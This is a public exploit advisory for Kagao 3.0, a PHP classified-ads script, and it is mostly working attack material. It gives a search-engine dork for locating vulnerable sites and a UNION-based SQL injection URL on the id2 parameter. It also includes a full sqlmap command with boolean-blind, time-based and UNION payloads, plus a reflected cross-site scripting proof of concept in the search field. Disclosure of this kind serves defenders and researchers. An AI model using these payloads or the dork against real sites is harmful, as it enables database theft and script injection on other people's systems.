Kagao 3.0 Cross Site Scripting / SQL Injection

`######################  
# Application Name : Kagao v3.0 - Professional Classified Market  
  
# Google Dork : inurl:/cat1.php?id2=  
  
# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL  
  
# Vendor Homepage : http://kogaoscript.com/  
  
# Vulnerable Type : SQL Injection & Cross Site Scripting  
  
# Date : 2016-06-26  
  
# Tested on : Windows 10 / Mozilla Firefox  
# Linux / Mozilla Firefox  
# Linux / sqlmap 1.0.6.28#dev  
  
###################### SQL Injection Vulnerability ######################  
  
# Location :  
http://localhost/[path]/cat1.php  
  
######################  
  
# Vulnerable code :  
  
function pagenat(){  
  
$buildLink = array(  
"id" => intval($_GET['id']),  
"id2" => isset($_GET['id2']) ? intval($_GET['id2']) : '',  
"suche" => htmlspecialchars($_GET['suche']),  
"sucheWo" => htmlspecialchars($_GET['sucheWo']),  
"umkreis" => intval($_GET['umkreis']),  
"page" => ""  
  
);  
  
$buildLink = http_build_query($buildLink);  
$buildLink = 'cat1.php?' . $buildLink;  
  
if($_GET['id2']){  
$pages_num = getZahlPage($_GET['id2'], 'unterkategorie');  
}  
else{  
$pages_num = getZahlPage($_GET['id'], 'kategorie');  
}  
  
$page = (isset($_GET['page'])) ? max($_GET['page'], 1) : 1;  
$pages = ($pages_num > 1) ? pages($pages_num, $page, $buildLink) : '';  
echo $pages;  
}  
  
  
######################  
  
# PoC Exploit:  
  
http://localhost/[path]/cat1.php?id2=999999.9%22%20union%20all%20select%20concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29%20as%20char%29%29%29%2C0x27%2C0x7e%29--%20a  
  
# Exploit Code via sqlmap:  
  
sqlmap -u http://localhost/[path]/cat1.php?id2=10 --dbms=mysql --random-agent --technique=BUESTQ --dbs --tamper=versionedkeywords --level=3 --risk=3 --no-cast  
  
Parameter: id2 (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: id2=10" AND 9863=9863 AND "UvFy"="UvFy  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: id2=10" AND SLEEP(5) AND "Zxun"="Zxun  
  
Type: UNION query  
Title: Generic UNION query (NULL) - 1 column  
Payload: id2=-5676" UNION ALL SELECT CONCAT(0x716b786271,0x4e77456d62457a716850544f776d506c7679624969616c6b47417542766c4152464c6a665a7a7064,0x7162767671)-- vvJN  
---  
  
###################### Cross Site Scripting Vulnerability ######################  
  
# PoC Exploit:  
  
Search: "><script>alert('n4tural');</script>  
  
http://localhost/[path]/cat1.php?id2=0&pricestart=0&room=&flache=&price=&zulassung=&kilometer=&kraftstoff=&id3=0&suche=%22%3E%3Cscript%3Ealert%28%27n4tural%27%29%3B%3C%2Fscript%3E&id=0&sucheWo=&umkreis=0  
  
######################  
  
`